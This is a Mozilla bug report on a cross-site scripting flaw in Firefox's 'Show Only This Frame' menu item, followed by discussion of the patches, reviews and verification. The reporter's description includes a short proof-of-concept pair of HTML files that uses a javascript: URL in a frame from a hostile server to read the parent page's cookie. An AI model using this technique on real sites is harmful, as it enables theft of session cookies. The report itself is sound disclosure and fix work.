The default bug view has changed. See this FAQ.

Show Only This Frame XSS (FF, TB, Suite)

RESOLVED FIXED

Status

()

Core
Security
--
major
RESOLVED FIXED
11 years ago
11 years ago

People

(Reporter: Paul Nickerson, Assigned: Martijn Wargers (dead))

Tracking

({fixed1.8.1, verified1.8.0.4})

Trunk
x86
Windows XP
fixed1.8.1, verified1.8.0.4
Points:
---
Bug Flags:
blocking1.7.14 ?
blocking-aviary1.0.9 ?
blocking1.9a1 +
blocking1.8.1 +
blocking1.8.0.4 +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:moderate] XSS against some sites, with some user interaction, URL)

Attachments

(7 attachments, 1 obsolete attachment)

(Reporter)

Description

11 years ago
A site nested within another site's frames can navigate to a javascript: page, and if the user right-clicks in that frame and presses This Frame->Show Only This Frame, it will cause cross site scripting in the context of the parent window.

I've tried this on my internal network, but I have no public webhosting since my domain expired. Here's the PoC code for testing cross-server:

whoops.htm
------------------------
<html>
<body>
<script>
document.cookie="this is a test";
</script>
<iframe src="http://malserver.com/redir.htm"></iframe>
</body>
</html>

redir.htm
------------------------
<html>
<body>
<script>
location.href="javascript:'Right-click here and press \"This Frame->Show Only This Frame\". The following text should change to reflect the parent window:<br><br>Location: '+location.href+'<br>Cookie: '+document.cookie";
</script>
</body>
</html>

Comment 1

11 years ago
I think this bug should be [sg:moderate], since [sg:high] is used for XSS holes that can be exploited reliably against most sites.  The user interaction required isn't strange or obscure, but not everyone will do it.  I bet some webmail sites load untrusted HTTP URLs (or HTML content hosted at a separate hostname) in frames/iframes, but the ones I tested (Gmail, Yahoo, Hotmail) do not.
Flags: blocking1.8.0.3?
Whiteboard: [sg:moderate] XSS against some sites, with some user interaction
(Reporter)

Comment 2

11 years ago
(In reply to comment #1)
Can you think of any cross-frame navigation attacks? Cross-host window.open usage is blocked, but maybe there's some other possibility. I'll look into it more when I get home.
(Assignee)

Comment 3

11 years ago
Created attachment 214297 [details]
redir.htm
(Assignee)

Comment 4

11 years ago
Testcase at http://wargers.org/mozilla/parentframe.htm
(Assignee)

Comment 5

11 years ago
Created attachment 214300 [details] [diff] [review]
patch

So something like this, I guess.
Attachment #214300 - Flags: review?(mconnor)

Comment 6

11 years ago
Are data: URLs treated correctly?  (e.g. given the privileges of the correct linking page, or given a nonce privilege?)
(Assignee)

Comment 7

11 years ago
Created attachment 214303 [details] [diff] [review]
patch

Also prevent here of getting an exception.
Attachment #214300 - Attachment is obsolete: true
Attachment #214303 - Flags: review?(mconnor)
Attachment #214300 - Flags: review?(mconnor)
(Reporter)

Comment 8

11 years ago
(In reply to comment #7)
> Created an attachment (id=214303) [edit]
> patch
> 
> Also prevent here of getting an exception.
> 

Taking Jesse's comment into consideration, should DISALLOW_SCRIPT in your patch be changed to DISALLOW_SCRIPT_OR_DATA?
(Assignee)

Comment 9

11 years ago
(In reply to comment #6)
> Are data: URLs treated correctly? 
(In reply to comment #8)
> Taking Jesse's comment into consideration, should DISALLOW_SCRIPT in your patch
> be changed to DISALLOW_SCRIPT_OR_DATA?
I think data url's are treated correctly, since those are not pseudo url's like javascript: url's, so that's why I didn't use it in the patch. I haven't been able to come up with an exploitable testcase, using data url's.
Comment on attachment 214303 [details] [diff] [review]
patch

If data: is better-handled due to restrictions elsewhre, this should be sufficient.  Let's double up on reviews since I haven't had enough cycles to keep track of the larger picture.
Attachment #214303 - Flags: superreview?(dveditz)
Attachment #214303 - Flags: review?(mconnor)
Attachment #214303 - Flags: review+
Flags: blocking1.8.0.3? → blocking1.8.0.3+
Comment on attachment 214303 [details] [diff] [review]
patch

sr=dveditz
Attachment #214303 - Flags: superreview?(dveditz) → superreview+
Looks like SeaMonkey has the same issue in xpfe/communicator/resources/content/nsContextMenu.js

Same code exists in mail/base/content/nsContextMenu.js but I'm not sure it's a practical concern since by default we 1) don't load remote content and 2) don't run javascript. I haven't checked that Tbird even has the menu item that calls this code.
Assignee: nobody → martijn.martijn
Component: General → Security
Flags: review+
Product: Firefox → Core
Summary: Show Only This Frame XSS → Show Only This Frame XSS (FF, TB, Suite)
Version: 1.5.0.x Branch → Trunk
I moved this to core, but I still don't get useful seamonkey-blocking flags. Maybe Neil would prefer tracking the SM version separately?

Comment 14

11 years ago
Created attachment 217272 [details] [diff] [review]
xpfe patch

I thought it would be simplest to disallow script or data everywhere.
Attachment #217272 - Flags: superreview?(jag)
Attachment #217272 - Flags: review?(jag)

Comment 15

11 years ago
Created attachment 217275 [details] [diff] [review]
alternate xpfe patch

Astute readers will have detected a file is missing from the previous patch ;-)
Attachment #217275 - Flags: superreview?(jag)
Attachment #217275 - Flags: review?(jag)
> I think data url's are treated correctly, since those are not pseudo url's like
> javascript: url's, so that's why I didn't use it in the patch. I haven't been
> able to come up with an exploitable testcase, using data url's.

In the given testcase data urls are safe because the location is set by a script from malserver.com and will pick up that principal --> no access to whoops.htm's domain.

But what if redir were an HTTP redirect to a data: url instead? If it's not set by script I'm not sure which domain we'd pick up as the principal.
Even if data: HTTP redirects work, unlike javascript: they can't get at the content of the original framing page. They could potentially get cookies and get the password manager to auto-fill a saved password if any.
(Assignee)

Updated

11 years ago
Attachment #214303 - Flags: approval1.8.0.4?
Comment on attachment 214303 [details] [diff] [review]
patch

approved for 1.8.0 branch, a=dveditz for drivers
Attachment #214303 - Flags: approval1.8.0.4? → approval1.8.0.4+

Comment 19

11 years ago
Comment on attachment 217275 [details] [diff] [review]
alternate xpfe patch

Does that javascript|data test need to be case insensitive? I think I'd prefer constructing a proper URI and checking what it thinks the scheme is.

Comment 20

11 years ago
(In reply to comment #19)
>(From update of attachment 217275 [details] [diff] [review])
>Does that javascript|data test need to be case insensitive?
Probably.

>I think I'd prefer constructing a proper URI and checking what it thinks the scheme is.
We might not actually have a valid URI at this point :-/

Comment 21

11 years ago
(In reply to comment #20)
> (In reply to comment #19)
> >I think I'd prefer constructing a proper URI and checking what it thinks the
> >scheme is.
> We might not actually have a valid URI at this point :-/

What do LoadURI and LoadURIWithFlags do with invalid URI? Try to load it and fail, but at least the string shows up in the URL bar?

Comment 22

11 years ago
(In reply to comment #21)
>What do LoadURI and LoadURIWithFlags do with invalid URI?
IIRC they currently display an alert "The URL is invalid and cannot be loaded".
after trying urifixup
Created attachment 220582 [details] [diff] [review]
1.8 branch and trunk patch

same as "patch" (attachment 214303 [details] [diff] [review]), but tweaked to accomodate the changes introduced in bug 331522.
Landed the Firefox browser.js patch on trunk and both 1.8 branches.
mozilla/browser/base/content/browser.js 	1.479.2.43.2.3
mozilla/browser/base/content/browser.js 	1.479.2.128
mozilla/browser/base/content/browser.js 	1.622

Comment 26

11 years ago
So then we can safely construct a nsIURI from it, if that fails, or if the URI's scheme is javascript or data we can fall through to the else case.
Calling this "fixed1.8.1, fixed1.8.0.4" based on Gavin's checkin. Let's see if I can fool this into adding seamonkey blocking flags too. (Apologies in advance for the bugspam.)
Component: Security → Security
Flags: blocking1.8.0.4+
Keywords: fixed1.8.0.4, fixed1.8.1
Product: Core → Mozilla Application Suite
Component: Security → Security
Product: Mozilla Application Suite → Core
Component: Security → Security
Product: Core → Mozilla Application Suite
Flags: blocking-seamonkey1.1a+
Flags: blocking-seamonkey1.0.2+
Component: Security → Security
Flags: blocking-seamonkey1.1a+
Flags: blocking-seamonkey1.0.2+
Product: Mozilla Application Suite → Core
Blocks: 336519
mconnor's war on bugzilla flags ensures that I cannot set both 1.8.0.4 and seamonkey flags at the same time, no way to override or force the issue. Opened 336519 to track seamonkey checkins.
No longer blocks: 336519
Status: NEW → RESOLVED
Last Resolved: 11 years ago
Flags: blocking1.9a1+
Flags: blocking1.8.1+
Flags: blocking1.8.0.4+
Flags: blocking1.7.14?
Flags: blocking-aviary1.0.9?
Resolution: --- → FIXED
Blocks: 336519

Comment 29

11 years ago
v.fixed on 1.8.0 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 with Martijn's testcase, but saw something that I wanted to clarify:

"This Frame->Show Only This Frame" from within the iframe does not bring out the content to the parent window, is that the behavior we expect?  Do we simply block the user's ability to bring iframe contents out into the current window?

I only ask because open frame in new tab or window does work as we expect,  with no signs of xss problems.

Keywords: fixed1.8.0.4 → verified1.8.0.4
(Assignee)

Comment 30

11 years ago
Yes, "This Frame->Show Only This Frame" should not work with the patch with framed url's that use the javascript: protocol.
It should just work fine for any other type of url.
I guess you could call this a bug, but I don't think there are a lot of websites that use javascript: url's inside for their framed content.
(Assignee)

Comment 31

11 years ago
Created attachment 221762 [details] [diff] [review]
patch that would fixeissue mentioned in comment 29

Well, this fixes the issue mentioned in comment 29 and 30.
It's a real ugly hack, but I guess it wouldn't hurt anything.

Comment 32

11 years ago
(In reply to comment #31)
>It's a real ugly hack, but I guess it wouldn't hurt anything.
I seem to recall an "external" load flag that clears the current document.
(Assignee)

Comment 33

11 years ago
(In reply to comment #32)
> (In reply to comment #31)
> >It's a real ugly hack, but I guess it wouldn't hurt anything.
> I seem to recall an "external" load flag that clears the current document.

You mean this one:
http://lxr.mozilla.org/seamonkey/source/docshell/base/nsIWebNavigation.idl#175
The comment is not very descriptive, but I could try that one.

(Assignee)

Comment 34

11 years ago
Created attachment 221772 [details] [diff] [review]
patch2 that would fix issue mentioned in comment 29

Yeah, that works nicely. Maybe this should be considered. I guess it's already to late for 1.8.0.4.
shouldn't this only be done if it's checkLoadURI throwing the exception, not something else in that block?
(Assignee)

Comment 36

11 years ago
Sorry for not responding earlier.
I'm beginning to think, why not always use the LOAD_FLAGS_FROM_EXTERNAL           flag for "show only this frame"?
(the same could be said for bug 329521)
Group: security
You need to log in before you can comment on or make changes to this bug.